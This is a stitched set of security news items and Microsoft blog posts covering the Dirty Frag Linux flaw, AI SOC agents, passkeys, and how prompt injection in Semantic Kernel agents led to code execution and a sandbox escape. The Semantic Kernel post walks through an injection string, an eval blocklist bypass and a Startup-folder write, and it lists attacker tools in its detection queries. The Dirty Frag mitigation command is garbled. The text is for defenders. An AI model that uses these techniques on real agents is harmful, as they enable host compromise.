Dirty Frag Linux Kernel Vulnerability (CVE-2026-43284 / Copy Fail 2) Emerges as Major Privilege Escalation Threat

The cybersecurity community is buzzing about “Dirty Frag,” a years-old Linux kernel flaw that enables local attackers to gain root privileges on major distributions like Ubuntu, RHEL, and Fedora. Disclosed recently with public exploit code, it has reportedly been exploited in the wild before full mitigations landed.

Key Details:
This vulnerability (also called Copy Fail 2) bypasses modern security mechanisms for instant root access. Linux 7.0.6 was released specifically to complete mitigation. Organizations running Linux servers or containers should prioritize patching immediately, as local access (even authenticated) is enough to escalate.

Implications: In cloud and on-prem environments, this could lead to full system compromise, data exfiltration, or ransomware deployment. Admins are urged to audit exposed systems and apply kernel updates without delay. The incident highlights ongoing risks in long-lived kernel components.

Takeaway for Teams: Enable strict privilege separation, monitor for anomalous kernel activity, and test patches in staging. This serves as a reminder that “local” doesn’t mean “low risk.”

Researcher Demonstrates Full-Chain Firefox Exploit on Windows

A security researcher (ggwhyp) publicly showcased a complete browser-to-OS exploit chain for Firefox on Windows, triggering cmd.exe and launching Calculator from a simple HTML page. The proof-of-concept was prepared for Pwn2Own, responsibly disclosed to Mozilla (though ZDI reportedly rejected it).

Key Details:
It demonstrates a reliable full-chain attack, raising alarms about browser sandbox escapes and privilege escalation. This comes amid broader discussions of AI-assisted vulnerability discovery accelerating exploit development.

Implications: Firefox users on Windows face heightened risks from malicious web content. While patches are likely in the works, the demo underscores how quickly browser vulnerabilities can lead to system takeover.

Takeaway for Teams: Keep browsers updated, use sandboxing tools or hardened profiles, and consider enterprise management for extension and update policies. Users should avoid untrusted sites and enable strict security settings.

cPanel Releases Additional Patches Following Ransomware Attacks

cPanel and WHM pushed multiple security updates, including fixes for CVE-2026-29202 (Perl code injection leading to root), CVE-2026-29203 (symlink race), and CVE-2026-29201 (directory traversal). This follows active exploitation and a “Sorry” ransomware incident.

Key Details:
These flaws could allow attackers to achieve root access or manipulate files on hosting servers. Patches address immediate threats observed in the wild.

Implications: Shared hosting providers and cPanel users are prime targets. Unpatched instances risk full server compromise, affecting websites and customer data.

Takeaway for Teams: Update cPanel/WHM urgently, review server logs for exploitation signs, and implement least-privilege principles. Hosting providers should communicate patch status to clients transparently.

Canvas Education Platform Breach Disrupts Schools and Exposes Student Data

Instructure (parent of Canvas LMS) suffered a cybersecurity incident, leading to temporary outages and a claimed data breach by ShinyHunters affecting thousands of schools and millions of records. Schools are reportedly negotiating with attackers to prevent data dumps.

Key Details:
The breach impacts U.S. educational institutions using the popular platform, exposing student and staff personal information. Disruptions affected classes and operations.

Implications: This highlights risks to edtech supply chains, where one vendor compromise ripples across thousands of organizations. Data could fuel phishing, identity theft, or further attacks.

Takeaway for Teams: Educational institutions should review affected accounts, enhance monitoring, and push for stronger vendor security requirements. Students and parents: Monitor for phishing and consider credit freezes if notified.

These quick hits reflect a volatile 24-hour window in cybersecurity—kernel flaws, browser exploits, hosting platform patches, and education sector fallout. Stay vigilant, patch aggressively, and layer defenses. For deeper dives, follow reliable threat intel sources and test your incident response plans. What stands out to you from today’s landscape?

In 2026, Security Operations Centers (SOCs) face an unrelenting barrage of alerts—billions of data points from endpoints, networks, cloud, and identity systems. Traditional human teams, no matter how skilled, operate within human limits: fatigue, shift changes, and cognitive overload. Multi-agent AI swarms—coordinated systems of specialized AI agents that triage, investigate, correlate, and respond—run 24/7 at machine speed.

This isn’t sci-fi. Platforms like Stellar Cyber, Torq HyperSOC, Prophet Security, and others deploy multi-agent architectures where detection agents, correlation agents, response agents, and hunter agents collaborate autonomously. The question isn’t if they outperform pure human teams on volume, but where the balance lies.

Speed: Machines Crush the Clock

Human analysts typically spend 20–40 minutes per investigation. In high-volume environments, backlogs are common, and mean time to acknowledge (MTTA) stretches into hours.

Multi-agent swarms flip this:

• Investigations complete in 3–10 minutes (or as low as 15 seconds median in some benchmarks).

• MTTR drops 85–90%.

• 100% alert coverage with no queues.

AI agents enrich context, query SIEM/EDR/identity systems, and execute playbooks instantly. One agent spots an anomaly; another correlates it across domains; a third contains it—all before a human finishes their coffee. In 2026, agentic SOCs shift from reactive to proactive, anticipating attacker moves.

Winner on speed: Multi-agent swarms, decisively.

Accuracy: Strong, But Not Perfect

AI excels at routine, high-volume tasks. Benchmarks show:

• False positive accuracy ~97–98%.

• True positive handling with 93%+ reliability for known patterns.

Escalation rates as low as 3–4% mean most noise gets filtered autonomously. Multi-agent systems reduce alert fatigue dramatically, freeing humans from toil.

However, humans still win on nuance:

• Novel threats, creative attacker TTPs, or business-context decisions (e.g., “Is this executive’s unusual login legitimate?”).

• Ethical judgment, regulatory compliance, and accountability that pure automation can’t fully own.

AI hallucinations, context drift in long sessions, or edge cases remain risks. Hybrid wins: Agents handle 90–95% of Tier 1/2 tickets; humans focus on the critical 5–10%.

Tie, with humans essential for high-stakes accuracy.

Cost: Swarms Deliver Massive ROI

A traditional SOC burns through analyst salaries, overtime, and burnout-driven turnover. AI changes the economics sharply.

• Staffing efficiency: Same headcount handles 4x more alerts. Up to 95% of routine tickets auto-resolved.

• Investigation savings: From hundreds of analyst hours to a fraction (e.g., $37k/month manual → $3.7k with AI in one model).

• Breach cost reduction: AI/automation adopters save ~$1.9–2.2M per incident on average.

• Overall TCO: Lower tool sprawl, reduced headcount pressure, and faster ROI (often 3–9 months).

Human-only or lightly augmented teams face rising costs from talent shortages and alert volume. Multi-agent platforms flatten the cost curve while scaling defense.

Winner on cost: Multi-agent swarms, by a wide margin.

When to Keep Humans Firmly in the Loop

Full autonomy sounds ideal, but 2026 reality demands hybrid models. Retain humans for:

• Complex investigations involving novel threats or ambiguous context.

• Oversight and escalation of high-confidence but high-impact decisions (e.g., containment that could disrupt business).

• Threat hunting, detection engineering, and strategy—creative work where AI augments but doesn’t replace intuition.

• Accountability, ethics, and compliance—regulators and boards still want human responsibility.

Best practice: “Agentic SOC” where AI acts autonomously on routine/low-risk, surfaces enriched cases to humans, and learns from feedback. This boosts analyst satisfaction and retention by eliminating grind.

The 2026 Verdict

Multi-agent swarms win on speed and cost. They augment accuracy at scale. Pure human teams can’t compete on volume in the age of AI-powered attacks. But swarms don’t replace humans—they elevate them.

The winning SOC in 2026 isn’t “AI vs. Humans.” It’s a coordinated swarm where tireless agents handle the flood, and rested, high-value human experts direct strategy, handle exceptions, and own outcomes.

Organizations adopting agentic platforms now (with proper governance) will outpace those clinging to legacy models. The other side never sleeps—but with the right hybrid team, neither does your defense.

What’s your SOC roadmap for 2026? Share in the comments.

A newly disclosed Linux local privilege escalation vulnerability known as “Dirty Frag” enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.

Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.

This article details an ongoing investigation into active campaign. We will update this report as new details emerge.

Why Dirty Frag matters

Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.

Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.

This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.

Technical overview

Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.

The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.

Exploitation scenarios

Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:

• Compromised SSH accounts
• Web-shell access on internet-facing applications
• Container escapes into the host environment
• Abuse of low-privileged service accounts
• Post-exploitation activity following phishing or remote access compromise

Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.

Limited In-The-Wild Exploitation

Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving ‘su’ is observed, and which may be indicative of techniques associated with either “Dirty Frag” or “Copy Fail”.

The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via ‘su’.

After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files — first deleting multiple session files and then forcefully wiping additional ones — before reading remaining session data, indicating both disruption of active sessions and access to session contents.

Mitigation guidance

The Linux Kernel Organization released patches, which are linked at the National Vulnerability Database (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.

While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.

Recommended actions include:

• Disable unused rxrpc kernel modules where operationally possible
• Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
• Restrict unnecessary local shell access
• Harden containerized workloads
• Increase monitoring for abnormal privilege escalation activity
• Prioritize kernel patch deployment once vendor advisories are released

The following example prevents vulnerable modules from loading and unloads active modules where possible:

cat /dev/null

These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.

Post-mitigation integrity verification

Mitigation alone may not reverse changes already introduced through successful exploitation attempts.

If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.

echo 3 | sudo tee /proc/sys/vm/drop_caches

Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.

Microsoft Defender coverage

Microsoft Defender XDR customers can refer to the following list of applicable detections below that provides coverage for behaviors surrounding “Dirty Flag” exploitation.

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Microsoft Defender Threat Intelligence

Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability

• CVE-2026-43284 – Linux Kernel (Dirty Frag)
• Vulnerability Profile: CVE-2026-43284 – Linux Kernel (Dirty Frag)

Microsoft Defender Antivirus

• Exploit:Linux/DirtyFrag.A
• Exploit:Linux/DirtyFrag.B
• Trojan:Linux/DirtyFrag.Z!MTB
• Trojan:Linux/DirtyFrag.ZA!MTB
• Trojan:Linux/DirtyFrag.ZC!MTB
• Trojan:Linux/DirtyFrag.DA!MTB

Microsoft Defender for Cloud

• Potential exploitation of dirtyfrag vulnerability detected

Microsoft continues investigating additional detections, telemetry correlations, and posture guidance related to Dirty Frag activity.

Further investigation is being conducted by Microsoft Defender towards providing stronger protection and posture recommendations is in progress.

References

Read about CopyFail (CVE-2026-31431), including mitigation and detection guidance here: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/. 

The post Active attack: Dirty Frag Linux vulnerability expands post-compromise risk appeared first on Microsoft Security Blog.

AI agents have fundamentally changed the threat model of AI model-based applications. By equipping these models with plugins (also called tools), your agents no longer just generate text; they now read files, search connected databases, run scripts, and perform other tasks to actively operate on your network.

Because of this, vulnerabilities in the AI layer are no longer just a content issue and are an execution risk. If an attacker can control the parameters passed into these plugins via prompt injection, the agent may be driven to perform actions beyond its intended use.

The AI model itself isn’t the issue as it’s behaving exactly as designed by parsing language into tool schemas. The vulnerability lies in how the framework and tools trust the parsed data.

To build powerful applications, developers rely heavily on frameworks like Semantic Kernel, LangChain, and CrewAI. These frameworks act as the operating system for AI agents, abstracting away complex model orchestration. But this convenience comes with a hidden cost: because these frameworks act as a ubiquitous foundational layer, a single vulnerability in how they map AI model outputs to system tools carries systemic risk.

As part of our mission to make AI systems more secure and eliminate new class of vulnerabilities, we’re launching a research series focused on identifying vulnerabilities in popular AI agent frameworks. Through responsible disclosure, we work with maintainers to ensure issues are addressed before sharing our findings with the community.

In this post, we share details on the vulnerabilities we discovered in Microsoft’s Semantic Kernel, along with the steps we took to address them and interactive way to try it yourself. Stay tuned for upcoming blogs where we’ll dive into similar vulnerabilities found in frameworks beyond the Microsoft ecosystem.

Background

We discovered a vulnerable path in Microsoft Semantic Kernel that could turn prompt injection into host-level remote code execution (RCE).

A single prompt was enough to launch calc.exe on the device running our AI agent, with no browser exploit, malicious attachment, or memory corruption bug needed. The agent simply did what it was designed to do: interpret natural language, choose a tool, and pass parameters into code.

This scenario is the real security story behind modern AI agents. Once an AI model is wired to tools, prompt injection draws a thin line between being just a content security problem and becoming a code execution primitive. In this post in our research series on AI agent framework security, we show how two vulnerabilities in Semantic Kernel could allow attackers to cross that line, and what customers should do to assess exposure, patch affected agents, and investigate whether exploitation may already have occurred.

A representative case study: Semantic Kernel

Semantic Kernel is Microsoft’s open-source framework for building AI agents and integrating AI models into applications. With over 27,000 stars on GitHub, it provides essential abstractions for orchestrating AI models, managing plugins, and chaining workflows.

During our security research into the Semantic Kernel framework, we identified and disclosed two critical vulnerabilities: CVE-2026-25592 and CVE-2026-26030. These flaws, which have since been fixed, could allow an attacker to achieve unauthorized code execution by leveraging injection attacks specifically targeted at agents built within the framework.

In the following sections, we break down the mechanics of these vulnerabilities in detail and provide actionable guidance on how to harden your agents against similar exploitation.

CVE-2026-26030: In-Memory Vector Store

Exploitation of this vulnerability requires two conditions:

1. The attacker must have a prompt injection vector, allowing influence over the agent’s inputs
2. The targeted agent must have the Search Plugin backed by In-Memory Vector Store functionality using the default configuration

When both these two conditions are met, the vulnerability enables an attacker to achieve RCE from a prompt.

To demonstrate how this vulnerability could be exploited, we built a “hotel finder” agent  using Semantic Kernel. First, we created an In Memory Vector collection to store the hotels’ data, then exposed a search_hotels(city=…) function to the kernel (agent) so that the AI model could invoke it through tool calling.

When a user inputs, for example, “Find hotels in Paris,” the AI model calls the search plugin with city=”Paris”. The plugin then first runs a deterministic filter function to narrow down the dataset and computes vector similarity (embeddings).

With this understanding of how a Semantic Kernel agent performs the search, let’s dive deep into the vulnerability.

Issue 1: Unsafe string interpolation

The default filter function that we mentioned previously is implemented as a Python lambda expression executed using eval(). In our example, The default filter will result to new_filter = “lambda x: x.city == ‘Paris'”.

The vulnerability is that kwargs[param.name] is AI model-controlled and not sanitized. This acts as a classic injection sink. By closing the quote (‘) and appending Python logic, an attacker could turn a simple data lookup into an executable payload:

• Input: ‘ or MALICIOUS_CODE or ‘
• Result: lambda x: x.city == ” or MALICIOUS_CODE or ”

Issue 2: Avoidable blocklist

The framework developers anticipated this RCE risk and implemented a validator that parses the filter string into an Abstract Syntax Tree (AST) before execution.

Before running a user-provided filter code, the application runs a validation function designed to block unsafe operations. At a high level, the validation does the following:

1. It only allows lambda expressions. It rejects outright any attempt to pass full code blocks (such as import statements or class definitions).
2. It scans every element in the code for dangerous identifiers and attributes that could enable arbitrary code execution (for example, strings like eval, exec, open, __import__, and similar ones). If any of these identifiers appear, the code is rejected.
3. If the code passes both checks, it is executed in a restricted environment where Python’s built-in functions (like open and print) are deliberately removed. So even if something slips through, it shouldn’t have access to dangerous capabilities.

The resulting lambda is then used to filter records in the Vector Store.

While this approach is solid in theory, blocklists in dynamic languages like Python are inherently fragile because the language’s flexibility allows restricted operations to be reintroduced through alternate syntax, libraries, or runtime evaluation.

We found a way to bypass this blocklist implementation through a specially crafted exploit prompt.

Exploit

Our exploit prompt was designed to manipulate the agent into triggering a Search Plugin invocation with an input that ultimately leads to malicious code execution:

This prompt circumvented the agent to trigger the following function calling:

As result, the lambda function was formatted as the following and executed inside eval(). This payload escaped the template string, traversed Python’s class hierarchy to locate BuiltinImporter, and used it to dynamically load os and call system(). These steps bypassed the import blocklists to launch an arbitrary shell command (for example, calc.exe) while keeping the template syntax valid with a clean closing expression.

The filter function didn’t block the payload because of the following reasons:

1. Missing dangerous names

The payload used several attributes that weren’t in the blocklist:

• __name__  – Used to find BuiltinImporter by name
• load_module – The method that imports modules
• system – The method that executes shell commands
• BuiltinImporter – The class itself

2. Structural check passes

The payload was wrapped inside a valid lambda expression. The check isinstance(tree.body, ast.Lambda) passed because the entire thing is in itself a lambda that just happens to contain malicious code in its body.

3. Empty __builtins__ is irrelevant
The eval() call used {“__builtins__”: {}} to remove access to built-in functions. However, this protection was meaningless because the payload never used built-ins directly. Instead, it started with tuple(), which exists regardless of the builtins environment, and crawled through Python’s type system to reach dangerous functionality.

4. No ast.Subscript checking
While not used in this payload, it’s worth noting that the filter only checked ast.Name and ast.Attribute nodes. If the payload needed to use a blocked name, it could’ve accessed it using bracket notation (for example, obj[‘__class__’] instead of obj.__class__), which creates an ast.Subscript node that the validation completely ignored.

Mitigation

After responsibly disclosing the vulnerability to MSRC, the Microsoft Semantic Kernel team implemented a comprehensive fix using four layers of protection to eliminate every escape primitive needed to turn a lambda filter into executable code:

• AST node-type allowlist – Permits only safe constructs like comparisons, boolean logic, arithmetic, and literals.
• Function call allowlist – Checks even allowed AST call nodes to ensure only safe functions can be invoked.
• Dangerous attributes blocklist – Blocks class hierarchy traversal (for examples, __class__, __subclasses__).
• Name node restriction – Allows only the lambda parameter (for example, x) as a bare identifier and rejects references to os, eval, type, and others.

How do I know if I am affected?

Your agent is vulnerable to CVE-2026-26030 if it meets all of the following conditions:

• It uses the Python package semantic-kernel.
• It’s running a framework version prior to 1.39.4.
• It uses the In-Memory Vector Store and relies on its filter functionality (when acting as the backend for the Search Plugin using default configurations).

What to do if I am affected?

You don’t need to rewrite your agent. Upgrading the Python semantic-kernel dependency to version 1.39.4 or higher mitigates the risk.

What about the time that my agent was vulnerable?

While patching closes the bug, but it doesn’t answer the retrospective question defenders care about: whether their agent was exploited before they upgraded.

First, define the vulnerable window for each affected deployment: from the moment a vulnerable Semantic Kernel Python version was deployed until the moment version 1.39.4 or later was installed. Any investigation should focus on that time range.

Second, hunt for host-level post-exploitation signals during that vulnerable window. Because successful exploitation results in code execution on the host, the most useful evidence is in endpoint telemetry: suspicious child processes, outbound connections, or persistence artifacts created by the agent host process. We provide a set of practical advanced hunting queries for further investigation in a separate section of this blog.

If you find suspicious activity during that window, treat it as a potential host compromise. Review the affected host, rotate credentials and tokens accessible to the agent, and investigate what data or systems that host could reach.

CVE-2026-25592: Arbitrary file write through SessionsPythonPlugin

Before diving into the mechanics of this second vulnerability, here is what an agent sandbox escape looks like in practice: with a single prompt, an attacker could bypass a cloud-hosted sandbox, write a malicious payload directly to the host device’s Windows Startup folder, and achieve full RCE.

The container boundary

Semantic Kernel includes a built-in plugin called SessionsPythonPlugin that allows agents to safely execute Python code inside Azure Container Apps dynamic sessions, which are isolated cloud hosted sandboxes with their own filesystem.

The security model relies entirely on this boundary. Code runs in the isolated sandbox and cannot touch the host device where the agent process runs. To help move data in and out of the sandbox, the plugin uses helper functions like UploadFile and DownloadFile, which run on the host side to transfer files across this boundary.

The vulnerability

In the .NET software development kit (SDK), DownloadFileAsync was accidentally marked with a [KernelFunction] attribute, which officially advertised it to the AI model as a callable tool, complete with its parameter schema:

Because of this attribute, the localFilePath parameter, which dictates exactly where File.WriteAllBytes() saves data on the host device, was now entirely AI controlled. With no path validation, directory restriction, or sanitization in place, an attacker wouldn’t need a complex hypervisor exploit; they just needed to prompt the model to do it for them.

(Note: Arbitrary File Read. A similar vulnerability existed in reverse for the upload_file() function across both the Python and .NET SDKs. It accepted any local file path without validation, allowing prompt injections to exfiltrate sensitive host files, like SSH keys or credentials, directly into the sandbox).

Attack chain overview

By chaining two exposed tools, an attacker could turn standard function calling into a sandbox escape:

Step 1: Create the payload

An  injected prompt instructs the agent to use the ExecuteCode tool to generate a malicious script inside the isolated container:

At this point, the payload is contained. It exists only in the sandbox and cannot execute on the host.

Step 2: Escape the sandbox

A second injected instruction tells the AI model to use the DownloadFileAsync tool to download the file to a dangerous location on the host:

The agent calls:

The agent fetches the script from the sandbox’s API and writes it directly to the host’s Windows\Start Menu\Programs\Startup folder.

Step 3: Execute the code

On the next user sign-in, the script runs, granting full host compromise.

This exploit illustrates the MITRE ATLAS technique AML.T0051 (LLM Prompt Injection) cascading into AML.T0016 (Obtain Capabilities).

Exposing DownloadFileAsync provided a direct file write primitive on the host filesystem, effectively negating the container isolation.

The fix and how to defend

Semantic Kernel patched this vulnerability by removing the root cause of tool exposure and adding defense in depth:

Removed AI access – The [KernelFunction] attribute was removed, making the function invisible to the AI model. The AI agent can no longer invoke it, and prompt injection can no longer reach it:

This single change breaks the entire attack chain. The AI can now only be called directly by the developer’s intentional code.

• Path validation – For developers calling the function programmatically, a ValidateLocalPathForDownload() method was added using path canonicalization (Path.GetFullPath()) and directory allowlist matching to ensure the target path falls within permitted directories:

How do I know if I am affected?

Your agent is vulnerable to CVE-2026-25592 if it uses a Semantic Kernel .NET SDK version older than 1.71.0.

Defending the agentic edge

If you use Semantic Kernel, our primary recommendation is to upgrade immediately. You don’t need to rewrite your agent’s architecture; the security updates simply remove the AI model’s ability to trigger these functions autonomously.

More broadly, defending AI agents requires acknowledging that AI models aren’t security boundaries. Security teams must correlate signals across two layers: the AI model level (intent detection through meta prompts and content safety filters) and the host level (execution detection). If an attacker bypasses the AI model guardrails, traditional endpoint defense must be in place to detect anomalous behavior, such as an AI agent process suddenly spawning command lines or dropping scripts into Startup folders.

Not bugs, but developed by design

Untrusted data being used as input for high-risk operations isn’t entirely new. In the early days of web application security, such input was passed directly into SQL queries or filesystem APIs. Today, agents are doing something similar, in that they could map untrusted natural-language input to system tools.

The overarching lesson from both vulnerabilities is that both aren’t bugs in the AI model itself, but rather issues in agent architecture and tool design. We must make a clear distinction between model behavior and agent architecture. The AI model functions exactly as it was designed to: translate intent into structured tool calls.

When models are connected to system tools, prompt injection risks may extend beyond typical chatbot misuse and require additional safeguards. Instead, it becomes a direct path to concrete execution primitives like data exfiltration, arbitrary file writes, and RCE. For a deeper look at the runtime risks of tool-connected AI models, see Running OpenClaw safely: identity, isolation, and runtime risk.

As mentioned previously, your LLM is not a security boundary. The tools you expose define your attacker’s affected scope. Any tool parameter the model can influence must be treated as attacker-controlled input.

In the next blog in this series, we’ll expand beyond Semantic Kernel to explore structurally similar execution vulnerabilities that we found in other widely used third-party agent frameworks.

CTF challenge: Attack your own agent

If you want to see how prompt injections escalate into execution and to put your skills to the test, we’ve packaged the vulnerable hotel-finder agent that we described in this blog into an interactive, hands-on capture-the-flag (CTF) challenge.

This CTF challenge lets you step into the shoes of an attacker and try to exploit the CVE-2026-26030 vulnerability in a controlled environment. You need to craft a prompt injection that not only bypasses the agent’s natural language defenses but also smuggle a Python AST-traversal payload through the vulnerable eval() sink.

To see if you can manipulate the AI model into launching arbitrary code and popping calc.exe on the server, download the challenge, spin it up in a sandbox, and see if you can achieve RCE. Keep in mind that this challenge is for educational purposes only, and shouldn’t be run in production environments.

Reconnaissance:

Exploit (jailbreak and payload):

Note: Because the agent will running locally on your device, calc.exe will open on your desktop. In a real-world scenario, such an executable file will launch remotely on the server hosting the agent.

Download the CTF challenge: https://github.com/amiteliahu/AIAgentCTF/tree/main/CVE-2026-26030

Advanced hunting

The following advanced hunting queries lets you surface suspicious activities from Semantic Kernel agents.

Detect common RCE post-exploitation child processes from Semantic Kernel agent hosts

DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessCommandLine matches regex @"(?i)semantic[\s_\-]?kernel"
    or InitiatingProcessFolderPath matches regex @"(?i)semantic[\s_\-]?kernel"
| where FileName in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe", "wsl.exe",
    "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "wscript.exe", "cscript.exe", "bitsadmin.exe", "curl.exe",
    "wget.exe", "whoami.exe", "net.exe", "net1.exe", "nltest.exe",
    "klist.exe", "dsquery.exe", "nslookup.exe"
)
| project 
    Timestamp,
    DeviceName,
    AccountName,
    FileName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessFolderPath
| sort by Timestamp desc

Detect .NET hosting Semantic Kernel that spawns suspicious children

DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("dotnet.exe")
| where InitiatingProcessCommandLine matches regex @"(?i)(semantic[\s_\-]?kernel|SKAgent|kernel\.run)"
| where FileName in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe",
    "certutil.exe", "curl.exe", "whoami.exe", "net.exe"
)
| project 
    Timestamp,
    DeviceName,
    AccountName,
    FileName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine
| sort by Timestamp desc

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post When prompts become shells: RCE vulnerabilities in AI agent frameworks appeared first on Microsoft Security Blog.

World Passkey Day is a chance to reflect on progress toward a shared goal: reducing our reliance on passwords and other phishable authentication methods by accelerating passkey adoption. As cyberattacks become more automated and AI-powered, each account is only as secure as its weakest credential. Real progress requires more than adding stronger sign-in options—it requires removing phishable credentials and strengthening common attack paths like recovery flows. In partnership with the FIDO Alliance, Microsoft is committed to advancing passkey adoption through ongoing standards work, active participation in working groups, and other contributions to a passwordless future.

Passwords remain a major source of risk; they’re difficult to manage and easy to steal. Along with weaker forms of multifactor authentication, they’re also highly vulnerable to phishing: AI-powered campaigns drive click-through rates as high as 54%.¹ In response, Microsoft is expanding passkey adoption across our ecosystem. We’re reducing reliance on legacy authentication and strengthening account recovery so it won’t become a backdoor for cyberattackers.

Passkey adoption continues to grow industry wide

Passkey adoption is accelerating: FIDO Alliance estimates 5 billion passkeys already in use worldwide.² Across Microsoft’s consumer services, including OneDrive, Xbox, and Copilot, hundreds of millions of users sign in with passkeys every day.

There are many reasons to choose passkeys as the standard authentication method over passwords. Sign-in success rates are significantly higher than with passwords, and exposure to credential-based attacks is significantly lower.³ Organizations and individual users alike prefer the simpler, more secure sign-in experience passkeys offer.⁴

Inside Microsoft, we’ve eliminated weaker authentication methods and rolled out phishing-resistant authentication, covering 99.6% of users and devices in our environment.⁵ It’s made signing in a lot simpler: no codes to enter, no extra prompts to manage, just a straightforward experience for everyone.

Product updates across sign-in and recovery

Across Microsoft, we’ve been steadily building passkey support into every layer of the identity experience from consumer accounts to enterprise access with Microsoft Entra, and from device-based authentication like Windows Hello to Microsoft’s password manager. This work ensures people can create and use passkeys wherever they sign in, with a consistent, phishing-resistant experience across devices, apps, and environments.

To make passkeys more accessible, we’re expanding where and how people can use them:

• Synced passkeys and passkey profiles in Microsoft Entra ID make it easier to scale passwordless sign-in across diverse environments. We’re expanding flexibility in cloud passkey management, including support for larger and more complex policies, and transitioning tenants to a unified passkey profile model.
• Entra passkeys on Windows make it simple for users to create and use device-bound passkeys directly on personal or unmanaged Windows devices using Windows Hello, and will be generally available in late May 2026.
• Passkeys for Microsoft Entra External ID will be generally available late May 2026, so your customer-facing applications can offer a more seamless, consumer-grade sign-in experience.
• Passkey-preferred authentication in Microsoft Entra ID (preview) detects registered methods and prompts the strongest one first. If a passkey is registered, that’s what the user sees—immediately. 
• On the consumer side, with Microsoft Password Manager, users can now save and sync passkeys across devices signed in with their Microsoft account, with support for iOS and Android rolling out soon through Microsoft Edge. 

Account recovery also plays a critical role in maintaining the integrity of identity systems. Historically, it’s been vulnerable to cyberattackers who try to hijack the recovery process, for example by impersonating legitimate users and requesting new credentials.

Microsoft Entra ID account recovery, generally available today, strengthens security for recovery flows by enabling users to regain access to their accounts through a robust identity verification process. Users can regain access after losing all authentication methods by using government-issued ID and biometric face checks. At general availability, we are expanding our identity verification ecosystem with two new partners—1Kosmos and CLEAR1—joining our existing partners Au10tix, IDEMIA, and TrueCredential. 

Removing phishable credentials from user accounts

Strengthening authentication is important, but reducing risk means eliminating phishable credentials entirely. Microsoft is continuing to phase out legacy methods and move users toward phishing-resistant authentication. Starting in January 2027, security questions will be removed as a password reset option in Microsoft Entra ID due to their susceptibility to guessing and social engineering.

The rationale is straightforward: improving strong methods while removing weak ones shrinks the attack surface. This is increasingly urgent as AI agents act on behalf of users. If an identity is compromised, cyberattackers can leverage those agents to access systems, execute workflows, and operate within existing permissions. Organizations need to address this risk quickly.

A more secure and usable future

